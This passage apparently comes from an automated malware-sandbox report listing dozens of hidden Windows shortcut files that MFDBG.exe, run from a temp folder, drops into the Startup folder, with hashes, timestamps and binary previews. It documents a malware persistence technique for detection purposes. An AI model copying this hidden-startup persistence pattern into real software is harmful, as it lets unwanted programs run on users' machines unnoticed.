Preview:	L..................F...."...]W%.{...`...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f984056428e044859b348d2a07b26830.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936254421164453
Encrypted:	false
SSDEEP:	24:8S7hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8S/R0R6rMhpBoUBxdRd1nYyg
MD5:	9F052CE0CEECF4B79E3F08EB54E25B86
SHA1:	8D1305FDEBEFE85EBAE69F2086764D09DD8991CB
SHA-256:	81EB80206B248F9EA982637ABBA78A45F6B25966A3609F9E2D0CDBCB1D1988E1
SHA-512:	A6BC1F03BE42BE8965CDFB22A8BF06DE8AF94EC9771CDBFB3FAC4C93AD877B6A85CB094A34868A7EBCD90F50A09A992B884528CAC5D412C8052360068666EFD2
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f98804a0cd6840998a6537020e2b674f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937300031571327
Encrypted:	false
SSDEEP:	24:8zhBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8HC0R6rMhpBoUBxdRd1nYyg
MD5:	14FA4E3445F147CF87DF058BBED35D4D
SHA1:	8AB69D4DA62BBE51D8627082D540181A842F2258
SHA-256:	78779EAE11C2E9E2FE72EAA830E9474CF1C91086F2BAB8904BFD887E6292A711
SHA-512:	1A881E8185085145C5854C3D56693D90B0BC540781169E8C839A01E70E231E1FD23A62D357E9E1EB395E19B0086F3A17D7E208F79FA66BF31C25EB4C9B7D8814
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..._.\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa117d51d4d84c2990b3bd713ecfd142.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9396537960983045
Encrypted:	false
SSDEEP:	24:892hBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89cy0R6rMhpBoUBxdRd1nYyg
MD5:	45EAFFA7CD19A5E8ACA098D783B1A26E
SHA1:	CE1FEF0E042F3F688664D75A0B2EED50AE00632F
SHA-256:	D64BDD7AEC016765E76CEBC462B8C5F3C2BEB6EB2453558448A66C8054FC4F59
SHA-512:	73ED72925E2F5021C8B924A8C6099CC9995352675B1447C209281A0651CFD1AC372D8FBEF63C0B816941732E7AEDA706DDA2D6D395FE66CA2AE51A4B6C2BF738
Malicious:	false
Preview:	L..................F...."...]W%.{...."..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa225c5c8c6a46eca66358d18fff48cd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941458077970433
Encrypted:	false
SSDEEP:	24:85mhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85s60R6rMhpBoUBxdRd1nYyg
MD5:	67AA99E32E27827EF1BF7B0B8EF6919C
SHA1:	12ACD6CDB003F1AA24DEE5EE4E3B8B4A47B46CD8
SHA-256:	7396A6E73782482981D4BFB0DF0FB38FC9FED7B18D685B65EFC4D5E3AC9DC4B6
SHA-512:	10272F70519534F28686C0CA599CDCE5A83FB7402330193BF62EDBE0083F21EF9CFA848B7A38191B4400E62F13D0D0D641137D2B758FE7D4B998807F7495CBAD
Malicious:	false
Preview:	L..................F...."...]W%.{...l...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa6d0b760aac4715b2cbec0dd459c0b7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943032829546429
Encrypted:	false
SSDEEP:	24:8mHhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mbZ0R6rMhpBoUBxdRd1nYyg
MD5:	5F3F2EEF7E3FD6F316F9BA67B6945CA8
SHA1:	B1CB6D5F5ED57326276CEFAA001C353DD1DE184B
SHA-256:	6CF23B419A4E4F6951FEB6B1483ECD36B8F84121816DE491ACC6BD7703F338F8
SHA-512:	995EE40C9376BA06CD6D86D80C3FF61F36262B113949AEE64E0B62063A89EE0A000E537B9BE7307A62DAE3D1784F863E784F5897BA20C391ED62F61C956377A7
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_faba8bbb391a42e0a9e7b81a7d967de5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933577499224087
Encrypted:	false
SSDEEP:	24:8uhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ki0R6rMhpBoUBxdRd1nYyg
MD5:	0126BF92B5D085938E5BAE4F033B052D
SHA1:	7231E6E6982E3657B2ED9094243D18A93BF927F6
SHA-256:	0FB65DDDC3D9715E4287FB2F8AD575A44CE8E369509231BB7055E582666C0EA9
SHA-512:	0C908A5F5EDB3EC5123627F618973AEC1E6CE9B22C0DD5F5B282CBF1A9C98A95095886459B673A860C5D79393DBB7E6F18268B6A5D56D4AAFB56CD774048FCA9
Malicious:	false
Preview:	L..................F...."...]W%.{.....{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_faf31ea11d0e41e5a3a1fbca3187105b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936072358594983
Encrypted:	false
SSDEEP:	24:8SJhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SJD0R6rMhpBoUBxdRd1nYyg
MD5:	8684CB83AB935788904757A8A7F3288B
SHA1:	F1F6B1EB255473AE0AB4BF479AF1A92CD5FFD22C
SHA-256:	6B06281A422216EF667C64E20730D23373D1526DA6787ED4C5947C778094D7B4
SHA-512:	52AEF640CA2E911FAD0A3681490DCD67DD58532E52DA2BAD97FE43342E173F25A1EB2CA03820E5EA978D568FE5A268D7AF0CEE96244550FB35722B72A012BF47
Malicious:	false
Preview:	L..................F...."...]W%.{....)..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...C...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fb22b5a7cc6e4a5d8cedaca1ee7bea24.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935094595211742
Encrypted:	false
SSDEEP:	24:8ZhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85r0R6rMhpBoUBxdRd1nYyg
MD5:	556AF287C371616F6F5CDA20C95F5E6A
SHA1:	BCBB94489D486CDD77336C573C595CB394BE0453
SHA-256:	E86587CFBEEEE84EC08542E7CD6798F3F28C1374F02FFF7CB5AD6B63AC397E7F
SHA-512:	533E649CAAF85C9BD351DB06D36513EBFF33C221E191B745B4A9A00CE37F3D0FCAD14343243CE04AA761ECA8B1B46F17A746589FD5A7D27562ACE29A51CBE749
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fba9ede8f7ed4c72a109bd75eae9bb85.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932918488276035
Encrypted:	false
SSDEEP:	24:8qGhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85+0R6rMhpBoUBxdRd1nYyg
MD5:	FDC1AA0E8A388F63424C8A2F26F4FF06
SHA1:	2382047A297EAC43A4BDBCD99FC047394860B434
SHA-256:	B8E8AC415535EA6DD5C559BCDB5D1858C922D0FDFD7871AE8106FDF2682CE83A
SHA-512:	C5334C101CC605CA71AE8BAE78FBABEFF6416E0187A8E7A27E7BB1379A51011384149EBBEA965605A9B6E9467BEB8F1B1F9E4B40CB783F77F209DA824D85F772
Malicious:	false
Preview:	L..................F...."...]W%.{....]\.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fbce3ab8ad844b3987c030e282dd30fa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934088482409039
Encrypted:	false
SSDEEP:	24:8ChBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8o30R6rMhpBoUBxdRd1nYyg
MD5:	D92F2B24671216C6D9BF3707DDC8CAC2
SHA1:	D5C80E6A37359F2324A7CE9726A67335A6C4F0F3
SHA-256:	FDA751810F27DDE706C2163775ABA1FE8AFB4F0693A79C729FEAAE2DB3667375
SHA-512:	ABC7F61EA823D6AA621B4DDAC5E08FEE9159CF37A89D636494C8E2C24DF6D1520D5051638F893C05BAC844673F3ABFE39AA080B22756946C2F4558477D23523D
Malicious:	false
Preview:	L..................F...."...]W%.{...@`..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fbd1fadcac8d4c2784bb3db2ee5eb0ec.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928563622967799
Encrypted:	false
SSDEEP:	24:8uqphBfGY8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lpud0R6rMhpBoUBxdRd1nYyg
MD5:	38B373B56B08EB4E75A5121E432D8D2F
SHA1:	22A86D02ACE2B34360C04E4AB2D1EC1EDF666376
SHA-256:	19A3B916FF3E957E377FF8D658867D623D9093DF0DE53CA514B6DBFC23172866
SHA-512:	1E7792813A59CEE07D299F6B4CE945EBA9CD3FAAEC6E9E58C0C2851669391355BDE53780E6A4D1CA5F0AE59636D9003C631A4155E2D2E41342A12ADE90480B54
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fbea7fa699714f67a11920af29246ebd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936919520285301
Encrypted:	false
SSDEEP:	24:8thBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Nv0R6rMhpBoUBxdRd1nYyg
MD5:	26F52B62219469ABEDA1EBA52B953453
SHA1:	56FCB90A039CB9B9C61FAC703930951033EDF721
SHA-256:	75F3347794253447E1FFEE56C023D81BB64986E1EDCF08B32C0DA9D172DA08EB
SHA-512:	EF09BD574A6562ACA0E3C872A7DEBDB88CA037FA833AD66501ECF0223A4C250EF7AEA2B64F8482D91F9DF06CBD2D5579746DDF3F600BFEE9C6B89BBE3A20A639
Malicious:	false
Preview:	L..................F...."...]W%.{....Z.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fbee565988024a8eb39c4bda9e966cde.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006387
Encrypted:	false
SSDEEP:	24:8bhBfGy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8fuf0R6rMhpBoUBxdRd1nYyg
MD5:	D5ED2FFB7DF2C8971FB2FFFE5409B2C8
SHA1:	DE84012EF99D287AB3F2793CA6544743EE5E4B6F
SHA-256:	4F9109AA4AF624F18B44D52042B4582A9C7CBEC4F90D5D33AE5F29544754A8BE
SHA-512:	72609FF236D643C0F204CADAB52AD68454969DDE9CBBA2BFBE1868060075776889FB2E67BE5A29E8A06B01CB844895936BAF34F1002C0D5CDBF3E36D4AE78F9B
Malicious:	false
